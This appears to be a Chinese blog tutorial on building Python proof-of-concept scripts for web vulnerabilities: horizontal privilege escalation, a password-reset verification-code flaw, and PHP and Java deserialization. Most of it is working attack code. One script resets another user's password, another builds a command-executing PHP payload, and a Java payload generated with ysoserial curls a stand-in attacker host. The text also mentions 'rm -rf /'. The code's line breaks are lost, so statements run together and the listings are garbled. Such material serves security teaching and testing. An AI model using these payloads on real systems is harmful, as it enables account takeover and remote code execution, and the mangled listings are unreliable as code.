Python 实战:Web 漏洞 Python POC 代码及原理详解(3)
今天继续来分享web漏洞python poc构造以及原理详解。
一、逻辑漏洞(以 “水平越权” 和 “密码重置逻辑缺陷” 为例)
逻辑漏洞是指因业务流程设计缺陷导致的安全问题,不依赖代码语法错误,而源于 “流程绕过” 或 “权限校验缺失”。以下是两种高频逻辑漏洞的 POC 构造:
1. 水平越权漏洞(Horizontal Privilege Escalation)
原理:水平越权指 “同权限级别的用户可访问 / 修改其他用户的资源”(如普通用户 A 能查看用户 B 的订单),核心原因是 “仅通过前端传参(如user_id)标识用户,未在后端校验该user_id是否属于当前登录用户”。
示例如下:某网站 “个人信息页” URL 为 http://test.com/userinfo?user_id=100,登录用户 A(user_id=100)可查看自己的信息;若修改user_id=101后仍能查看用户 B 的信息,则存在水平越权。
import requestsdef check_horizontal_privilege(url, session_cookie):"""检测水平越权漏洞:尝试访问其他用户的资源"""# 1. 获取当前用户信息headers = {"Cookie": f"session={session_cookie}",  # 当前登录用户的会话Cookie"User-Agent": "Mozilla/5.0"}# 假设当前用户ID为100own_id = 100own_url = f"{url}?user_id={own_id}"own_response = requests.get(own_url, headers=headers, timeout=10)own_content = own_response.text# 2. 尝试访问其他用户的资源(如ID=101)target_id = 101target_url = f"{url}?user_id={target_id}"target_response = requests.get(target_url, headers=headers, timeout=10)target_content = target_response.text# 3. 判断是否越权访问成功# 条件:目标用户页面返回200,且内容与当前用户不同(排除“用户不存在”的情况)if (target_response.status_code == 200 and "用户不存在" not in target_content and target_content != own_content):print(f"[+] 存在水平越权漏洞!可访问用户{target_id}的信息")print(f"    验证URL:{target_url}")return Trueelse:print(f"[-] 未检测到水平越权漏洞")return False# 需替换为登录用户的session和目标URL
check_horizontal_privilege(url="http://test.com/userinfo",session_cookie="xxx-当前用户的session值-xxx"
)构造的思路
核心:对比 “访问自己资源” 和 “访问他人资源” 的响应差异(状态码、内容)。
关键参数:通常是user_id、order_id、task_id等标识资源归属的参数。
2. 密码重置逻辑缺陷(以 “验证码未失效” 为例子)
漏洞原理:密码重置流程中,若 “验证码生成后未绑定用户” 或 “验证成功后未失效”,攻击者可通过 “拦截他人的验证码” 或 “重复使用自己的验证码” 重置任意用户密码。
示例如下:某网站密码重置流程:提交手机号→接收验证码→输入验证码→设置新密码。若验证码未与手机号绑定,攻击者可在 “输入验证码” 步骤修改目标手机号,用自己的验证码重置他人密码。
import requestsdef check_password_reset_vuln(send_code_url, verify_code_url):"""检测密码重置逻辑漏洞:验证码未与手机号绑定"""# 1. 向自己的手机号发送验证码(获取有效验证码)attacker_phone = "13800138000"send_data = {"phone": attacker_phone}requests.post(send_code_url, data=send_data, timeout=10)attacker_code = input("请输入攻击者手机收到的验证码:")  # 假设为"666666"# 2. 尝试用自己的验证码重置目标用户的密码target_phone = "13900139000"  # 目标用户手机号reset_data = {"phone": target_phone,  # 修改为目标手机号"code": attacker_code,  # 使用攻击者的验证码"new_password": "hacked123"  # 新密码}response = requests.post(verify_code_url, data=reset_data, timeout=10)# 3. 判断是否重置成功if "密码重置成功" in response.text:print(f"[+] 存在密码重置逻辑漏洞!已用攻击者验证码重置{target_phone}的密码")return Trueelse:print(f"[-] 未检测到密码重置逻辑漏洞")return Falsecheck_password_reset_vuln(send_code_url="http://test.com/send_verify_code",  # 发送验证码接口verify_code_url="http://test.com/reset_password"   # 验证验证码并重置密码接口
)构造的思路
关键:打破 “验证码 - 用户” 的绑定关系(如修改手机号但复用验证码)。
关键步骤:先获取一个有效验证码,再在验证阶段替换目标用户标识(手机号 / 邮箱)。
二、反序列化漏洞
反序列化漏洞源于 “程序对不可信数据进行反序列化操作”,攻击者构造恶意序列化数据,触发对象的特殊方法(如魔术方法)执行恶意代码。不同语言的序列化机制不同,POC 构造差异较大。
1. PHP 反序列化漏洞
原理:PHP 中unserialize()函数处理用户可控数据时,若目标类存在__wakeup()、__destruct()等魔术方法,且方法中包含危险操作(如文件读写、命令执行),则可触发漏洞。
示例如下
<?php
class Test {public $cmd;// 析构方法:对象销毁时执行function __destruct() {system($this->cmd);  // 危险操作:执行命令}
}
?>当程序调用unserialize($_GET['data'])时,可构造包含cmd的序列化字符串,触发system()执行命令。
import requests
import argparsedef generate_php_payload(cmd):"""生成PHP反序列化恶意payload"""# 格式:O:4:"Test":1:{s:3:"cmd";s:len(cmd):"cmd";}payload = f'O:4:"Test":1:{{s:3:"cmd";s:{len(cmd)}:"{cmd}";}}'return payloaddef check_php_unserialize(url, param):"""检测PHP反序列化漏洞"""cmd = "echo PHP_UNSERIALIZE_VULN"  # 测试命令payload = generate_php_payload(cmd)# 发送包含恶意序列化数据的请求params = {param: payload}response = requests.get(url, params=params, timeout=10)# 检查是否执行命令if "PHP_UNSERIALIZE_VULN" in response.text:print(f"[+] 存在PHP反序列化漏洞!")print(f"    测试命令:{cmd}")print(f"    响应验证:{response.text[:50]}")return Trueelse:print(f"[-] 未检测到PHP反序列化漏洞")return Falsecheck_php_unserialize(url="http://test.com/vuln.php",  # 存在unserialize的页面param="data"  # 接收序列化数据的参数名
)构造的思路
核心:找到包含危险操作的类(魔术方法中调用system()、file_put_contents()等),构造该类的序列化字符串,设置恶意属性(如cmd)。
工具:可用 PHP 代码生成序列化字符串(如$test = new Test(); $test->cmd = 'id'; echo serialize($test);)。
2. Java 反序列化漏洞
原理:Java 反序列化通过ObjectInputStream.readObject()处理数据,若反序列化过程中触发 “恶意类链”(如 Apache Commons Collections 库中的InvokerTransformer),可执行任意命令。
示例如下:应用使用了存在漏洞的 Commons Collections 3.1 库,且接口接收用户可控的序列化数据(如通过POST传输的二进制数据)。
import requests
import subprocessdef generate_java_payload(cmd, gadget="CommonsCollections1"):"""使用ysoserial生成Java反序列化payload(需本地有ysoserial.jar)"""# 调用ysoserial生成payload# 命令:java -jar ysoserial.jar [gadget] [cmd] > payload.bintry:result = subprocess.check_output(f"java -jar ysoserial.jar {gadget} {cmd}",shell=True,stderr=subprocess.STDOUT)return result except Exception as e:print(f"[!] 生成payload失败:{e}")return Nonedef check_java_unserialize(url):"""检测Java反序列化漏洞"""cmd = "curl http://attacker.com/ok"  # 测试命令payload = generate_java_payload(cmd)if not payload:return False# 发送二进制序列化数据headers = {"Content-Type": "application/octet-stream"}response = requests.post(url, data=payload, headers=headers, timeout=15)# 验证方式:查看攻击者服务器是否收到请求if response.status_code in [200, 500]:  # 500可能是命令执行出错但反序列化成功print(f"[+] 可能存在Java反序列化漏洞!")print(f"    测试命令:{cmd}")print(f"    响应状态码:{response.status_code}")return Trueelse:print(f"[-] 未检测到Java反序列化漏洞")return Falsecheck_java_unserialize(url="http://test.com/deserialize"  # 接收序列化数据的接口
)构造的思路
核心:利用 ysoserial 生成 payload + 检测,利用成熟的 “Gadget 链”(如 CommonsCollections、URLDNS),通过ysoserial工具生成对应 payload。
如何验证:若无法直接读取命令输出,可通过 “DNSlog”(如nslookup xxxx.dnslog.cn)或 “HTTP 请求” 验证命令是否执行。
java反序列化的难度是更大的,因为需要构建攻击链来进行反序列化。对比如下
| 对比维度 | PHP 反序列化漏洞 | Java 反序列化漏洞 | 
| 序列化格式 | 明文字符串(易构造、易调试) | 二进制流(需工具生成,如 ysoserial) | 
| 核心触发点 | 魔术方法(__wakeup()、__destruct()等) | 重写的readObject()方法 | 
| 利用链复杂度 | 低(多为单个类的魔术方法直接触发) | 高(需串联多个类形成利用链,依赖第三方库) | 
| 影响范围 | 主要影响 PHP 脚本 / 框架(如 ThinkPHP、Laravel) | 影响所有 Java 应用(含企业级服务器、框架) | 
| 典型依赖 | 自身语法特性(魔术方法) | 第三方库(Commons Collections)或框架组件 | 
但是两者的危害基本都是高危害的,核心危害比如远程代码执行(RCE)。完全控制服务器:执行任意系统命令(如whoami、rm -rf /),获取服务器权限。
